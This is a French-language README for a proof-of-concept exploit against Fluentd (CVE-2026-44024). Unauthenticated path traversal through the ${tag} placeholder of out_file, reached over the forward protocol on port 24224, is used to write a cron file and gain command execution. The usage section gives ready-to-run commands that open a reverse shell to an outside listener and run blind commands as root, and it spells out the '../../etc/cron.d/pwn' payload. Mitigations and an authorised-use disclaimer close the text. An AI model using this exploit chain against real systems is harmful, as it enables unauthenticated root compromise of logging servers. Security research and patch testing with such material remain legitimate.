
Preuve de concept d'exploit pour CVE-2026-44024, utilisant une balise in_forward spécialement conçue pour écrire des fichiers arbitraires via la traversée de chemin de out_file de Fluentd et déclencher l'exécution de commandes.
out_file ${tag} : écriture arbitraire de fichier par traversée de cheminÉcriture arbitraire de fichier sans authentification dans le plugin out_file de Fluentd via le paramètre ${tag}.
out_file permet aux opérateurs de paramétrer le chemin de sortie avec un paramètre ${tag} (par ex. path /var/log/fluent/${tag}). Output#extract_placeholders (lib/fluent/plugin/output.rb) remplace le tag de l'événement dans le chemin sans assainir ../ (CWE-22) :
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
Les événements arrivant via le protocole in_forward (port 24224) portent un tag repris mot pour mot du message réseau, et allow_anonymous_source vaut true par défaut. Un attaquant non authentifié peut donc définir un tag tel que ../../../../../../etc/cron.d/pwn pour sortir du répertoire configuré et écrire dans un chemin absolu arbitraire avec l'utilisateur du processus fluentd.
<= 1.19.21.19.3 (rejette les composants ..//absolus dans le tag avant d'étendre ${tag}, PR #5391)in_forward, pas in_httpin_http dérive le tag du chemin de l'URL avec path.split('/').join('.'), ce qui transforme chaque / en . — donc ../ ne peut pas survivre sur Linux (et %2f n'est pas décodé). Seul le protocole forward (24224) transmet le tag octet par octet. Cet exploit parle juste assez de ce protocole (un message msgpack [tag, time, record]) avec un minuscule encodeur intégré — aucune dépendance.
Uniquement la bibliothèque standard de Python 3. La cible doit exécuter un Fluentd vulnérable avec un out_file dont le path contient ${tag}, ainsi qu'une source in_forward anonyme (valeurs par défaut). Transformer l'écriture en un dépôt cron propre suppose un out_file qui ne déforme pas le nom de fichier/le contenu (par ex. add_path_suffix false, append true, pas de timekey, format single_value) — sinon, utilisez l'écriture de fichier pour écraser un fichier à chemin connu.
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
Envoie un événement forward ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] sur le port 24224. out_file étend ${tag} → /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn, et (avec un format single_value) écrit le msg de l'enregistrement tel quel → une ligne cron valide. cron l'exécute dans les ~60 s en tant qu'utilisateur fluentd (root là où fluentd tourne en root).
Mettez à niveau Fluentd vers ≥ 1.19.3 ; n'exposez pas le port forward à des réseaux non fiables (activez l'authentification par clé partagée / allow_anonymous_source false) ; ne faites pas tourner fluentd en root ; évitez ${tag} dans les chemins de sortie pour des entrées non fiables.
Uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.